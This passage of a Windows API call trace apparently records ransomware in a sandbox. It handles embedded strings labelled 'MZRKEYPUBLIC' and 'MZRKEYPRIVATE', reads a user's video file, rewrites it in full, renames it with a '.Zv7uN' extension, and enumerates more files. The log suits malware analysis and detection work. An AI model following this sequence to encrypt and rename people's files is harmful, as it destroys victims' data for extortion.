CqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0086.994] GetCurrentThreadId () returned 0xa30 [0086.994] GetCurrentThreadId () returned 0xa30 [0086.994] GetCurrentThreadId () returned 0xa30 [0086.995] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0086.995] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6bc7c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0086.995] GetCurrentThreadId () returned 0xa30 [0086.995] GetCurrentThreadId () returned 0xa30 [0086.995] GetCurrentThreadId () returned 0xa30 [0086.996] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\KjRuBvq-LMhKwa.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\kjrubvq-lmhkwa.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0086.996] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0086.996] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0086.996] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x18b90 [0086.996] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0086.996] ReadFile (in: hFile=0x11c, lpBuffer=0x1efff40, nNumberOfBytesToRead=0x18b90, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1efff40*, lpNumberOfBytesRead=0x18f6a0*=0x18b90, lpOverlapped=0x0) returned 1 [0086.999] CloseHandle (hObject=0x11c) returned 1 [0087.001] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\KjRuBvq-LMhKwa.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\kjrubvq-lmhkwa.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0087.005] WriteFile (in: hFile=0x11c, lpBuffer=0x1f19f70*, nNumberOfBytesToWrite=0x18b90, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f19f70*, lpNumberOfBytesWritten=0x18f6ac*=0x18b90, lpOverlapped=0x0) returned 1 [0087.011] CloseHandle (hObject=0x11c) returned 1 [0087.013] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\KjRuBvq-LMhKwa.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\kjrubvq-lmhkwa.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\KjRuBvq-LMhKwa.avi.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\kjrubvq-lmhkwa.avi.zv7un")) returned 1 [0087.014] GetCurrentThreadId () returned 0xa30 [0087.014] GetCurrentThreadId () returned 0xa30 [0087.014] GetCurrentThreadId () returned 0xa30 [0087.014] GetCurrentThreadId () returned 0xa30 [0087.014] GetCurrentThreadId () returned 0xa30 [0087.014] GetCurrentThreadId () returned 0xa30 [0087.014] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52fe8d30, ftCreationTime.dwHighDateTime=0x1d5da3a, ftLastAccessTime.dwLowDateTime=0xb9b94530, ftLastAccessTime.dwHighDateTime=0x1d5e7a3, ftLastWriteTime.dwLowDateTime=0xb9b94530, ftLastWriteTime.dwHighDateTime=0x1d5e7a3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="oXu8xlNDfHLVRyrz", cAlternateFileName="OXU8XL~1")) returned 1 [0087.014] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x409db540, ftCreationTime.dwHighDateTime=0x1d5d9d0, ftLastAccessTime.dwLowDateTime=0x67952270, ftLastAccessTime.dwHighDateTime=0x1d5d947, ftLastWriteTime.dwLowDateTime=0x67952270, ftLastWriteTime.dwHighDateTime=0x1d5d947, nFileSizeHigh=0x0, nFileSizeLow=0x4279, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="PPbvZP.mkv", cAlternateFileName="")) returned 1 [0087.014] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0087.015] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0087.015] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\PPbvZP.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\ppbvzp.mkv"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x409db540, ftCreationTime.dwHighDateTime=0x1d5d9d0, ftLastAccessTime.dwLowDateTime=0x67952270, ftLastAccessTime.dwHighDateTime=0x1d5d947, ftLastWriteTime.dwLowDateTime=0x67952270, ftLastWriteTime.dwHighDateTime=0x1d5d947, nFileSizeHigh=0x0, nFileSizeLow=0x4279)) returned 1 [0087.015] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\PPbvZP.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\ppbvzp.mkv")) returned 0x20 [0087.015] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\PPbvZP.mkv", dwFileAttributes=0x80) returned 1 [0087.017] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0087.017] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0087.018] GetCurrentThreadId () returned 0xa30 [0087.018] GetCurrentThreadId () returned 0xa30 [0087.018] GetCurrentThreadId () returned 0xa30 [0087.019] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 